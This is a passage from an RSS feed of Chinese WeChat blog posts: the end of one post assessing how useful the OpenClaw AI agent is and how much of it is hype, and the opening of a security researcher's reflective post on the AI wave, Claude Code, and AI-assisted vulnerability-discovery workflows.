&#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">举一个最好的例子就是之前那个图片的例子，我在和OpenClaw沟通的时候他完全理解不了为什么图片没有发出来，查了好多资料才发现是OpenClaw的安全限制，类似的事情出现非常多，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">完全不懂技术的朋友很难理解问题出在哪，只能不停的提出需求无法解决之后，被迫放弃。</span></strong></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">ps：我让他去小红书搜索帖子，他一直说mcp启动不了，实际上是他没有正确按照这个mcp的文档启动</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000641" data-ratio="0.5130597014925373" title="null" data-type="png" data-w="536" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;margin: 0.1em auto 0.5em;border-radius: 4px;" src="https://wechat2rss.xlab.app/img-proxy/?k=362e4436&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgIBYXIMwxtsleN73KiavQqsKH74mkkiaial3LWuu8lGmN5LjVOlrSmoJBmb5QA3V48icL8kDPARFayP9KmNeYGCerqlIxuf2q7e1TVdmwnpnzVA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">截止目前为止，我仍然在调校OpenClaw帮我写公众号，效果依旧不理想，还在努力中</span></p><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 16.8px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0px 0.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);"><span leaf="">写在最后</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">洋洋洒洒写了一大堆，主要还是分享我对OpenClaw的认知和见闻，营销号看的太多，总是分不清什么是真的什么是营销的，在信息爆炸的时代这或许是个常态。</span></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: circle;margin: 0px;padding: 0px 0px 0px 1em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">OpenClaw到底有没有意义？</span></strong></p></li></ul><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">有，首先作为开源工具证明了这个理念的可行性，nb</span></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: circle;margin: 0px;padding: 0px 0px 0px 1em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">OpenClaw到底是不是营销出来的？</span></strong></p></li></ul><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">是，OpenClaw原生至少现在，根本不具备被养的能力</span></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: circle;margin: 0px;padding: 0px 0px 0px 1em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">OpenClaw值不值得玩一下？</span></strong></p></li></ul><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">我只能说比你想象的可能要有用一些</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">我们下篇再见！</span></p></div><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=99828b79&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzMyNjU0MQ%3D%3D%26mid%3D2247484294%26idx%3D1%26sn%3Df30a13b9d7cbe2d646fba138db662f89">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 11 Mar 2026 18:19:00 +0800</pubDate>
    </item>
    <item>
      <title>Re0(1) - AI变革的时代来了吗？</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzMyNjU0MQ==&amp;mid=2247484272&amp;idx=1&amp;sn=8d1473a85e290595de1c3fa9a6f9368a</link>
      <description>今天这篇博客，没有技术，只想和大家分享分享最近的想法。</description>
      <content:encoded><![CDATA[<p>原创 <span>LoRexxar</span> <span>2026-03-10 12:46</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=d2588591&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FgIBYXIMwxtsicaibib8bsUpRZV1RIxTJNiclWLE0CfjWjqicib2V1DVBiayrHDV5UjJVQWviallElJBEYHIiaS0zRgSmzicsvI3vW3BRSlZIHoX6NG0BI%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>今天这篇博客，没有技术，只想和大家分享分享最近的想法。</p>
  <blockquote style="text-align: justify;font-size: 15px;font-weight: 300;color: rgba(0,0,0,0.55);margin-bottom: 24px;line-height: 2.0;"><p style="margin-bottom: 16px;"><span leaf=""><span textstyle="" style="font-size: 16px;font-weight: bold;">许久没有起笔写博客和公众号了，忽然一下起笔，似乎一下子找不到下笔的方式和由头，其实我想恢复写博客的习惯很久了。</span></span></p></blockquote><p style="font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;"><span leaf=""><span textstyle="" style="font-size: 16px;">最近几年博客写的很少，原因有很多，一个这几年工作内容涉及到的公司内容比较多，不好去密，另一个是人真的是很懒惰的，放下笔很容易但是提起笔需要很多理由。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="2"><span leaf=""><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">今天这篇博客，没有技术，只想和大家分享分享最近的想法。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="3"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">认识我的朋友可能知道，这些年我另营业的副业做的还马马虎虎可以，无论是B站还是抖音，做视频做直播花费了很多精力，也有一些粉丝和收入。</span></span></p><div style="color: rgba(0,0,0,0.9);text-align: justify;font-size: 17px;font-weight: 300;margin-bottom: 24px;line-height: 2.0;" data-layout-id="4"><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;"><span leaf=""><img alt="image.png" class="rich_pages wxw-img" data-aistatus="1" data-backh="158" data-backw="562" data-imgfileid="100000590" data-ratio="0.2808022922636103" style="width: 100%;" data-type="png" data-w="1745" src="https://wechat2rss.xlab.app/img-proxy/?k=d0baa580&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgIBYXIMwxtt9487nNadAqLhAYqYKwNeZPuTMiaoCVj4uPv7t9BMN4ibveTYqpiaiaibXmPnZ7uOJCOKCicl1zZVEYMnbEag5PrYsxogCqCEfXHqQk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p></div><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="5"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">反而是安全方向，做了很多东西但是实际的产出很少，在去年有一段时间甚至算是有点儿陷入迷茫阶段，有点儿不太清楚自己在干什么，每天公式化完成工作，最后整体算下来感觉自己也没什么成长。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="6"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">我在奇安信的主要工作就是围绕破壳平台，后面我会更多分享和这个有关的内容</span></span></p><p style="text-align: left;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="7"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);"><a href="https://poc.qianxin.com/" target="_blank">https://poc.qianxin.com/</a></span></span></p><div style="color: rgba(0,0,0,0.9);text-align: left;font-size: 17px;font-weight: 300;margin-bottom: 24px;line-height: 2.0;" data-layout-id="8"><p style="text-align: left;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;"><span leaf=""><img alt="image.png" class="rich_pages wxw-img" data-aistatus="1" data-backh="247" data-backw="562" data-imgfileid="100000592" data-ratio="0.43956043956043955" style="width: 100%;" data-type="png" data-w="1092" src="https://wechat2rss.xlab.app/img-proxy/?k=0eaea2b3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgIBYXIMwxtvAEJJ2zuuShMQ06GicVNdHPerJsLyiaJTWSMWd1PwSVSgcGQrtWRIARPHUOOUfY35baaOkhEIiaibGkzpVHSdKUoqvoA9yABDJ3BE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p></div><figcaption style="text-align: center;font-size: 14px;font-weight: 300;color: rgba(0, 0, 0, 0.55);margin-bottom: 16px;line-height: 2;text-indent: 0px;" data-layout-id="9"><span leaf=""><span textstyle="" style="font-size: 14px;">破壳平台社区版</span></span></figcaption><p style="text-align: left;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="10"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">对我来说近期有一件事情影响非常之大，</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">AI之于用户甚至之于这个时代都已经是老生常谈</span><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">，哪怕是什么都不懂的人，多多少少也能打开个手机里的豆包，没事问问豆包问题，调戏调戏豆包。</span></span></p><p style="text-align: left;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="11"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">从去年的年底开始，实话讲我并不知道具体是什么时候，有些人说是25年的10月，也有人说是更早，突然感觉AI的浪潮向我拍过来了，最开始我虽然会刷到这些新闻，但是</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">很多时候只是大体看看怎么回事</span><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">，大概知道，原来又多了一点儿新东西，但是好像也没啥新意。</span></span></p><p style="text-align: left;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="12"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">我工作中使用AI更多的场景，依旧是</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">平时拿AI当搜索软件搜索写代码遇到的问题</span><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">，再就是</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">用trae维护另一个我自己维护的平台功能</span><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">，我很少会深度的使用AI。</span></span></p><p style="text-align: left;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="12"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000611" data-ratio="0.4888888888888889" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=e7ae3013&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FgIBYXIMwxtvUww60UHyEr2bW89pHWgEVY6RtibcnAY04wgWOZ2tSpz4g9nsBorJGyqwfR1neEkDvsXK5Ct9SP3ibZ8Okt3EVs1U6J781u7CSA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="13"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">在当时心中对于AI的认知还停留在，</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">上下文不够长，幻觉严重的问题无法解决</span><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">，这两个致命问题上，所以很多东西大概知道怎么回事，但是觉得没有花时间了解的必要。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="13"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000612" data-ratio="1.25" data-w="676" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=db02af81&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FgIBYXIMwxttCuLIpEMibsiaFISHOiadFibMibACL9fbrppxAxeicmzTIgT1ibialBcdKwUpEg6JzSA2Usia3BHiasGXNCGASe4j3fQEItrTLQlzZ7oTVY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><figcaption style="text-align: center;font-size: 14px;font-weight: 300;color: rgba(0, 0, 0, 0.55);margin-bottom: 16px;line-height: 2;" data-layout-id="14"><span leaf=""><span textstyle="" style="font-size: 14px;">之前一次开发他理解不了两个时间是一个东西</span></span></figcaption><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="15"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">直到12月底的两件事情，算是彻底改变了我的观念，也让我真真切切的意识到，</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">或许真的AI时代的洪流，要到来了。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="16"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">第一件事情就是，</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">Claude Code的开发团队表示，在过去的30天，CC的所有代码都是由AI来完成的。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="16"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000613" data-ratio="0.49166666666666664" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=df708a2c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgIBYXIMwxtus4dtGcfWktHTSrflEWt4L8uPkibKwLegXphR4jObHHwBBCUYNIy47BgGYwntIicqRuJcTea1E21c0eGhgPgNfJ3l3R4iaSs7mH0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="17"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">其实说实话，</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">我没有很刻意的求证过该内容是不是有夸大其词的成分</span><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">，也可能他是一次成功的营销，实际就是，我在大体了解了这件事情后续的相关内容之后（就是这个作者分享了他是怎么用cc做到这件事情的），给我造成了第一次认知冲击。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="18"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">我相信在看到这句话，一定会有两种人对我讲的事情有完全不一样的第一反应。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="19"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">第一种，就是很早就深耕AI agent的朋友，第一反应会觉得，这不是很正常吗，</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">这已经是ai agent最基础不过的应用场景了。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="20"><span leaf=""><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">另一种，就是当时的我，第一反应会觉得，假的吧怎么可能，我昨天用trae/cursor写代码，他还写出了一堆bug我修了一天。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="21"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">但在后续仔细研究了CC团队分享的内容之后，你会发现，即便不是100%，AI的自动化率也至少超过了95%，对我来说当时的第一个冲击就是，原来已经有人领先这么多了。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="21"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000614" data-ratio="1.0146561443066517" data-w="887" data-type="jpeg" src="https://wechat2rss.xlab.app/img-proxy/?k=3de74dc5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FgIBYXIMwxtuSSaFvtTBtSbDKVibrV36RyjLUyUpJBicuGdMZq9hXpYT50s1XUKb2F23CGxvD4ibPQ2DlHAYib3JzmBkGpgkfgxibVH8s7BT5WH5g%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></p><figcaption style="text-align: center;font-size: 14px;font-weight: 300;color: rgba(0, 0, 0, 0.55);margin-bottom: 16px;line-height: 2;" data-layout-id="22"><span leaf=""><span textstyle="" style="font-size: 14px;">claude多session开发任务</span></span></figcaption><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="23"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">第二件对我影响很大的事情就是，在12月的最后一天，我们团队内部做了一个</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">专门的AI和漏洞挖掘的分享会</span><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">，在这个分享会上，最早开始深度投入ai的团队，已经做出了</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">一些非常不错的漏洞挖掘工作流</span><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">，还有了很多成果。</span></span></p><div style="color: rgba(0,0,0,0.9);text-align: justify;font-size: 17px;font-weight: 300;margin-bottom: 24px;line-height: 2.0;" data-layout-id="24"><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;"><span leaf=""><img alt="image.png" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000597" data-ratio="0.2539454806312769" data-w="697" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=8e344bcf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FgIBYXIMwxttXk3Ejv5DpqPobvR4VH4a039aFlD55FPgAmmL38lUFRicib2RiaicntMibqBiclNdbKnZ1HiaZbylfa6Eu9A7XbPOQKXMmGDR2qmnpBA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p></div><figcaption style="text-align: center;font-size: 14px;font-weight: 300;color: rgba(0, 0, 0, 0.55);margin-bottom: 16px;line-height: 2;" data-layout-id="25"><span leaf=""><span textstyle="" style="font-size: 14px;">工作流</span></span></figcaption><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="26"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">这和我之前的认知大相径庭，在这之前我看过的大部分漏洞挖掘工作流，要不就是</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">装模做样做分析</span><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">但实际上</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">上下文根本不足以支撑正常项目</span><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">，只能</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">跑跑测试样例写论文</span><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">，要不就是</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">辅助写CodeQL的规则</span><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">，实际上没有脱离工具本身。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="27"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 